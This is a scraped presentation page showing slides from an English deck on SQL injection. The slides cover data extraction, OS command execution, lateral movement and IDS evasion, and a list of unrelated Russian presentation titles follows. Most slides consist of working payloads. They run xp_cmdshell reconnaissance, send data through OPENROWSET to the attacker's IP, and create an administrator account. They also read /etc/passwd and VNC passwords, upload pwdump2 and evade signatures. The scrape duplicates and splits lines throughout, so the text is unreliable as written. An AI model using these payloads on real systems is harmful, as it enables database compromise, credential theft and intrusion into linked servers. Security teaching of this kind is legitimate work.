Assessing Network ConnectivityServer name and configuration' and 1 in (select @@servername

in (select @@servername ) --
' and 1 in (select

srvname from master..sysservers ) --
NetBIOS, ARP, Local Open Ports, Trace route?
Reverse connections
nslookup, ping
ftp, tftp, smb
We have to test for firewall and proxies

Слайд 71 Gathering IP information through reverse lookups
Reverse DNS
'; exec

Gathering IP information through reverse lookupsReverse DNS'; exec master..xp_cmdshell 'nslookup a.com

master..xp_cmdshell 'nslookup a.com MyIP' --
Reverse Pings
'; exec master..xp_cmdshell 'ping

MyIP' --
OPENROWSET
'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', 'select * from table')

Слайд 72 Network Reconnaissance
Using the xp_cmdshell all the following can

Network ReconnaissanceUsing the xp_cmdshell all the following can be executed:Ipconfig /allTracert myIParp -anbtstat -cnetstat -anoroute print

be executed:
Ipconfig /all
Tracert myIP
arp -a
nbtstat -c
netstat -ano
route print

Слайд 73 Network Reconnaissance Full Query
'; declare @var varchar(256); set

Network Reconnaissance Full Query'; declare @var varchar(256); set @var = '

@var = ' del test.txt && arp -a >>

test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --
' and 1 in (select substring(x,1,255) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

Слайд 74 6) OS Cmd Prompt
7) Expand Influence
3) 1=1 Attacks

6) OS Cmd Prompt7) Expand Influence3) 1=1 Attacks 4) Extracting Data1)



4) Extracting Data
1) Input Validation
2) Info. Gathering
5) OS

Interaction


6) OS Cmd Prompt

Слайд 75 Jumping to the OS
Linux based MySQL
' union select

Jumping to the OSLinux based MySQL' union select 1, (load_file('/etc/passwd')),1,1,1;MS SQL

1, (load_file('/etc/passwd')),1,1,1;
MS SQL Windows Password Creation
'; exec xp_cmdshell 'net

user /add victor Pass123'--
'; exec xp_cmdshell 'net localgroup /add administrators victor' --
Starting Services
'; exec master..xp_servicecontrol 'start','FTP Publishing' --

Слайд 76 Retrieving VNC Password from Registry
'; declare @out binary(8)

Retrieving VNC Password from Registry'; declare @out binary(8) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',

exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\ORL\WinVNC3\Default', @value_name='Password', @value = @out output

select cast(@out as bigint) as x into TEMP--
' and 1 in (select cast(x as varchar) from temp) --

Слайд 77 7) Expand Influence
7) Expand Influence


3) 1=1 Attacks
4)

7) Expand Influence7) Expand Influence3) 1=1 Attacks 4) Extracting Data1) Input

Extracting Data
1) Input Validation
2) Info. Gathering
5) OS Interaction


6) OS Cmd Prompt

Слайд 78 Hopping into other DB Servers
Finding linked servers in

Hopping into other DB ServersFinding linked servers in MS SQLselect *

MS SQL
select * from sysservers
Using the OPENROWSET command hopping

to those servers can easily be achieved
The same strategy we saw earlier with using OPENROWSET for reverse connections

Слайд 79 Linked Servers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_sysservers')
select *

Linked Servers'; insert intoOPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;','select * from mydatabase..hacked_sysservers')select * from master.dbo.sysservers'; insert

from master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysservers')
select * from

LinkedServer.master.dbo.sysservers
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_linked_sysdatabases')
select * from LinkedServer.master.dbo.sysdatabases

Слайд 80 Executing through stored procedures remotely
If the remote server

Executing through stored procedures remotelyIf the remote server is configured to

is configured to only allow stored procedure execution, this

changes would be made:
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysservers')
exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'
insert into
OPENROWSET('SQLoledb',
'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysdatabases'

Слайд 81 Uploading files through reverse connection
'; create table AttackerTable

Uploading files through reverse connection'; create table AttackerTable (data text) --';

(data text) --
'; bulk insert AttackerTable -- from 'pwdump2.exe' with

(codepage='RAW')
'; exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',' MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --
'; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123' --

Слайд 82 Uploading files through SQL Injection
If the database server

Uploading files through SQL InjectionIf the database server has no Internet

has no Internet connectivity, files can still be uploaded
Similar

process but the files have to be hexed and sent as part of a query string
Files have to be broken up into smaller pieces (4,000 bytes per piece)

Слайд 83 Example of SQL injection file uploading
The whole set

Example of SQL injection file uploadingThe whole set of queries is

of queries is lengthy
You first need to inject

a stored procedure to convert hex to binary remotely
You then need to inject the binary as hex in 4000 byte chunks
' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000… ? 8000 hex chars ?…0000000000000000000' exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --
Finally you concatenate the binaries and dump the file to disk.

Слайд 84 Evasion Techniques

Evasion Techniques

Слайд 85 Evasion Techniques
Input validation circumvention and IDS Evasion

Evasion Techniques Input validation circumvention and IDS Evasion techniques are very

techniques are very similar
Snort based detection of SQL Injection

is partially possible but relies on "signatures"
Signatures can be evaded easily
Input validation, IDS detection AND strong database and OS hardening must be used together

Слайд 86 IDS Signature Evasion
Evading ' OR 1=1 signature
'

IDS Signature Evasion Evading ' OR 1=1 signature' OR 'unusual' =

OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR

'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' IN ('whatever')
' OR 2 BETWEEN 1 AND 3

Слайд 87 Input validation
Some people use PHP addslashes() function to

Input validationSome people use PHP addslashes() function to escape characterssingle quote

escape characters
single quote (')
double quote (")
backslash (\)
NUL (the NULL

byte)
This can be easily evaded by using replacements for any of the previous characters in a numeric field

Слайд 88 Evasion and Circumvention
IDS and input validation can be

Evasion and CircumventionIDS and input validation can be circumvented by encodingSome

circumvented by encoding
Some ways of encoding parameters
URL encoding
Unicode/UTF-8
Hex enconding
char()

function

Слайд 89 MySQL Input Validation Circumvention using Char()
Inject without quotes

MySQL Input Validation Circumvention using Char()Inject without quotes (string =

(string = "%"):
' or username like char(37);
Inject without quotes

(string = "root"):
' union select * from users where login = char(114,111,111,116);
Load files in unions (string = "/etc/passwd"):
' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

Слайд 90 IDS Signature Evasion using white spaces
UNION SELECT signature

IDS Signature Evasion using white spacesUNION SELECT signature is different toUNION

is different to
UNION SELECT
Tab, carriage return, linefeed

or several white spaces may be used
Dropping spaces might work even better
'OR'1'='1' (with no spaces) is correctly interpreted by some of the friendlier SQL databases

Слайд 91 IDS Signature Evasion using comments
Some IDS are not

IDS Signature Evasion using commentsSome IDS are not tricked by white

tricked by white spaces
Using comments is the best alternative
/*

… */ is used in SQL99 to delimit multirow comments
UNION/**/SELECT/**/
'/**/OR/**/1/**/=/**/1
This also allows to spread the injection through multiple fields
USERNAME: ' or 1/*
PASSWORD: */ =1 --

Слайд 92 IDS Signature Evasion using string concatenation
In MySQL it

IDS Signature Evasion using string concatenationIn MySQL it is possible to

is possible to separate instructions with comments
UNI/**/ON SEL/**/ECT
Or you

can concatenate text and use a DB specific instruction to execute
Oracle
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
MS SQL
'; EXEC ('SEL' + 'ECT US' + 'ER')

Слайд 93 IDS and Input Validation Evasion using variables
Yet another

IDS and Input Validation Evasion using variablesYet another evasion technique allows

evasion technique allows for the definition of variables
; declare

@x nvarchar(80); set @x = N'SEL' + N'ECT US' + N'ER');
EXEC (@x)
EXEC SP_EXECUTESQL @x
Or even using a hex value
; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)
This statement uses no single quotes (')
  • Имя файла: web-application-security.pptx
  • Количество просмотров: 118
  • Количество скачиваний: 0
- Предыдущая Слитное, дефисное и раздельное написание слов разных частей речи
Следующая - Последствия войны. Революции и распад империй

Похожие презентации

Проект - презентация по произведению В.Богомолова Иван Проект - презентация по произведению В.Богомолова Иван 151
QBasic QBasic 136
Операционные системы, среды и оболочки Операционные системы, среды и оболочки 186
Аттестационная работа. Использование элементов исследовательской деятельности на уроках информатики и ИКТ в старших классах Аттестационная работа. Использование элементов исследовательской деятельности на уроках информатики и ИКТ в старших классах 112
Информатизация общества Информатизация общества 131
Переменные, операции и выражения. (Лекция №4) Переменные, операции и выражения. (Лекция №4) 132
Кодирование и обработка звуковой информации 9 класс Кодирование и обработка звуковой информации 9 класс 128
Словесные информационные модели Словесные информационные модели 140
Разработка презентационных материалов предприятия, организации. Заготовки публикаций в Publisher Разработка презентационных материалов предприятия, организации. Заготовки публикаций в Publisher 143
Основы программирования на языке QBasic Основы программирования на языке QBasic 144
Безопасность в интернете Безопасность в интернете 132
Творческий практико-ориентированный проект Перспектива развития музыки в 21 веке Творческий практико-ориентированный проект Перспектива развития музыки в 21 веке 121
Редакторы текстов и документов Редакторы текстов и документов 178
Базы данных Базы данных 134
Система типов данных в языке Паскаль Система типов данных в языке Паскаль 151
Обработка графической информации Информатика 5 класс Обработка графической информации Информатика 5 класс 152
Викторина по информатике Викторина по информатике 143
Компьютер для школьника Компьютер для школьника 114
Корпусы и блоки питания Корпусы и блоки питания 168
Создание анимации в презентации Простоквашино Создание анимации в презентации Простоквашино 147
Устройства ввода информации Устройства ввода информации 128
Интерактивная игра презентация урока для интерактивной доски по информатике (старшая группа) Интерактивная игра презентация урока для интерактивной доски по информатике (старшая группа) 148
Загрузка и воспроизведение видео- и звуковых файлов Загрузка и воспроизведение видео- и звуковых файлов 149
Класс больших компьютеров Класс больших компьютеров 161
Презентация к уроку информатики 7 кл.: Назначение и устройство компьютера  Презентация к уроку информатики 7 кл.: Назначение и устройство компьютера  159
Исполнители алгоритмов Исполнители алгоритмов 123
Программное обеспечение Программное обеспечение 117
игра презентация по информатике игра презентация по информатике 167
Система подготовки IT-специалистов Система подготовки IT-специалистов 174
Презентация к уроку информатики в 8 классе по теме Системы счисления. Презентация к уроку информатики в 8 классе по теме Системы счисления. 133